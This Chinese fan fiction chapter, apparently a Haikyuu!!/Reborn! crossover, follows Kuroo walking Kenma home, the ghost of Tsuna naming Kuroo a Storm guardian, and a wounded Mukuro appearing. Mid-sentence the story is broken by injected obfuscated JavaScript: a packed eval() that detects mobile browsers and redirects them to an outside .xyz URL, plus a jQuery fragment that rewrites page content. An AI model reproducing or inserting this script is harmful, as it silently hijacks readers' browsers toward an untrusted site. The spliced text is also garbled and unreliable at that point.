天色暗了下来,残阳将两人的影子拉扯得很长。放学的人潮已渐渐散去,街道显得空旷了些。
黑尾双手插在裤袋里,刻意放慢的脚步与研磨保持着一致的节奏。他的目光看似随意地扫过街边的店铺,实则眼角余光始终锁在身旁幼驯染脖颈处那道刺目的淤青上。
"所以..." 黑尾突然开口,声音里压抑着某种情绪,喉咙滚动,"那个白兰要戒指,真是为了..." 他顿了顿,像是难以启齿般挤出那个荒谬的词,"毁灭世界?"
“嗯。” 研磨的声音干涩,他简明地复述了从纲吉那里得到的信息,白兰的意图、平行世界的崩坏、以及自己被这枚大空戒指无法摆脱的宿命等。
每个字都沉得压人。
“疯子。” 黑尾低声咒骂了一句,指节在口袋里攥得发白。
研磨赞同地点了点头。
“纲吉说……” 研磨组织着语言,“彭格列的戒指……需要继承者的觉悟才能真正激活它的力量。而现在的情况是,我还不知道那是什么…”
后面的话他没有讲出来。
“觉悟?” 黑尾咀嚼着这个词,眉头蹙得更紧。
“什么样算觉悟?不怕死的觉悟吗?还是拯救世界的觉悟?” 他的语气带着一丝颇显尖锐的质疑,“这也太强人所难了。”
从普通人突然就要成为救世主,怎么可能会有人能在这么短的时间内就会有强大的觉悟?
不管是谁都不可能。
相对于整个世界来讲,他们实在是太渺小了。
蜉蝣撼树,黑尾只能想得到这个比喻,甚至觉得他们此刻要面对的事情比这个还要离谱。
“说难,是因为它需要直面内心最深的恐惧与渴望,可一旦明悟其本质,那份沉睡的力量便会自然涌现。”
纲吉飘在一旁,温和的声音适时插入他们的对话。
他看向研磨,目光带着引导,“问问你的朋友,就在刚才,当他看到你脖颈上的淤痕,看到你因痛苦而流泪的模样……那一刻,他心底最汹涌最强烈的冲动是什么?”
研磨迟疑了一下,有些别扭地别开视线,但还是轻声向黑尾复述了问题,末了补充道:“……是纲吉要我问的。”
而黑尾甚至没有一丝犹豫,几乎是脱口而出:“当然是想把伤害你的那个混蛋揪出来,想……” 他的声音骤然低沉下去,“……想把你挡在身后,让那些乱七八糟的东西再也碰不到你一根手指。”
他说的斩钉截铁,那股从心底喷涌而出的保护欲和愤怒,纯粹而炽热,毫无掩饰。
研磨的心猛地一跳,他敏锐地捕捉到一道赤红的光芒从黑尾紧握的拳缝中迸发,在暮色中划出光痕。
那道光芒一闪而逝,但研磨确信自己看到了。
“果然……”
“愤怒的爆发,撕裂一切阻碍的冲动,以及对守护对象的强烈执念……”
这份感觉太过熟悉了……纲吉不可避免地想起了某个人。
“你的朋友,他身上涌动的是‘岚’属性的死气之火潜质。”
纲吉的唇边漾开一个柔和微笑,他轻拍了下研磨的肩膀(虽然手掌只是虚虚穿过),这样说道:“说不定,你的岚守出现了呢。”
“岚……守?”
“嗯。” 纲吉点头,目光从黑尾身上收回,认真看向研磨,“死气之火呈现不同属性与强度,与彭格列指环属性对应。
大空、岚、雨、晴、雷、云、雾七种属性的死气之火各有独特能力。
司掌生机之晴,凝筑壁垒之雷,裂帛怒涛之岚,敛息澄静之雨,幻变虚无之雾,弥散增殖之云。
他们是首领最坚实的壁垒,在漫漫长夜中相互扶持,共同撑起一个家族的意志与未来。而在这里……”
纲吉的目光扫过黑尾,又落回研磨身上。
“你的朋友,他体内潜藏的岚之炎,已经因为强烈的守护意愿和方才那纯粹而炽烈的愤怒……与你产生了微妙的共鸣。”
黑尾一直在安静地听着研磨简约复述着纲吉的话。
听到“岚守”“撕裂一切阻碍”等词语时,他愣了一下。
不是对于属性的解释,而是这些词……听起来莫名地契合他方才那几乎要将伤害研磨的混蛋撕碎的愤怒心境。
虽然但是…裂帛怒涛之岚?听起来也……太中二了吧……
不过……
他挺直了略微前倾的腰背,侧过身看向研磨,眼中那点戏谑瞬间被无可动摇的认真取代。夕阳最后的光线落在他线条硬朗的脸颊和明亮的眸子里,晕染开一片暖金。
他挑起一边嘴角,露出那个招牌式的、带着点痞气却异常可靠的自信笑容:“如果所谓的守护者职责,就是保护好眼前这个既怕麻烦又特别容易招惹奇怪事情的研磨的话……那这件事我很乐意去做。”
“小黑……” 研磨忽略了黑尾前面一长串看似吐槽自己的话术,他看着黑尾。
幼驯染眼中毫无动摇的信任和支持,像一道坚实的光,劈开了连日以来将他层层包裹的恐惧迷雾。
他感到一种从未有过的安心感。
不是孤独一人了……
这个认知让他紧绷的肩膀微微放松下来。
谢谢你,小黑…
谢谢你在这种时刻,能出现在我的身边。
不过这种话当然是不能让你听到啦。
*
夕阳彻底沉入地平线,最后一丝余晖消失在天际。两人转入通往研磨家住宅区的安静小路,路灯的光晕在地上投下圆圆的光斑。
“到了。” 在研磨家门口停下脚步,黑尾抬头看了看熟悉的窗户,里面透出温暖的灯光。“你确定不要我陪你上去?”
“……不用。” 研磨摇摇头,“明天见。”
“嗯,有事立刻打我电话,” 黑尾不放心地叮嘱,加重了语气,“立刻!还有,” 他的目光再次扫过研磨的脖子,“记得冰敷和上药。”
“知道了。” 研磨应了一声,转身朝着家门走去。
黑尾站在原地,看着研磨略显单薄的背影进到房间里,刚准备转身离开。
就在这时——
空气,骤然凝滞。
一股带着难以言喻的恶意感的气息,毫无征兆地弥漫开来。四周的温度似乎瞬间下降了好几度,路灯的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854967|175876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光晕似乎也扭曲黯淡了几分。
黑尾浑身肌肉瞬间绷紧,毛孔在骤然降临的冷意下炸开,一股寒气顺着脊椎直冲头顶。他猛地抬头环顾四周,可是却什么也没看到。
“——?!”
不对劲。
有什么东西……在盯着他们。
不,是在盯着研磨!
他几乎是本能地转身,想要冲进研磨家的大门——
“研磨!!”
然而,已经晚了。
刚刚走进家门的研磨,正弯腰准备脱鞋的手骤然僵在半空。
一股无比刺骨的寒意,毫无阻碍地穿透了物理世界的屏障,直刺他的大脑。
剧烈的疼痛让研磨眼前一黑,喉咙里溢出痛苦的呻吟:“呃……!”
噗通!
他双腿跪在地上,后背重重撞在冰冷的铁质单元门上,发出沉闷的巨响。
“研磨?!” 黑尾的声音从门外传来,带着明显的慌乱和愤怒,“怎么回事?!开门!”
但研磨已经听不到了。
他的意识像是被拖入深海,四周的一切声音都变得模糊而遥远。
耳边却传来一个极其陌生、磁性优雅却又仿佛来自地狱最深处、带着无数痛苦回响的轻笑声,带着令人灵魂冻结的恶意,清晰地灌入了他的意识:
“Kufufufu……”
这笑声怪异而扭曲,充满了嘲讽以及对猎物垂死挣扎的轻蔑玩味。
研磨眼前的景象瞬间被撕裂,他脚下踩着的不再是熟悉的地板,而是无数白森森扭曲爬行的残骸与枯骨铺就的血腥小径。
沢田纲吉的身影瞬间出现在研磨身前一步的位置,将他挡在身后。
那一贯平静温和的脸上,此刻布满了难以置信的震惊、激动,以及一丝……难以言喻的心痛。
“骸……?!”
纲吉的声音带着剧烈的颤抖,充满了难以置信,“你……怎么会……找到这里……你……你怎么伤成这样?!”
他几乎无法表述自己此刻的心情。
那些被他刻意回避、不愿去触碰的、关于原世界毁灭和同伴下落的痛苦记忆,被眼前伤痕累累的六道骸以这种惨烈的方式,硬生生地拉到了眼前!
扭曲的黑暗中,一个身影渐渐凝聚成形。
“沢田纲吉……你居然躲在这种地方……”那个深邃的声音带着一丝压抑到极致的沙哑。
那身影比纲吉记忆中的要……残破得多。
靛蓝色的长发依旧张扬,但那标志性的三叉戟却拄在地上,支撑着身躯。原本华丽的黑色风衣破烂不堪,边缘撕裂,像被无数利刃切割,又像被某种强大的能量侵蚀过。
然而,即使如此虚弱残破,那股深渊般的气息和那双异色瞳孔,依旧散发着令人窒息的恐怖威压。
“kufufu……” 骸发出一连串怪异的笑声,但这次笑声里没有了之前的纯粹恶意,反而夹杂着一丝虚弱、疲惫,以及一种难以言喻的复杂情绪。
他那只猩红的“六”字眼死死地盯着纲吉半透明的身影,里面的光芒剧烈地跳动、闪烁,仿佛在确认眼前景象的真实性。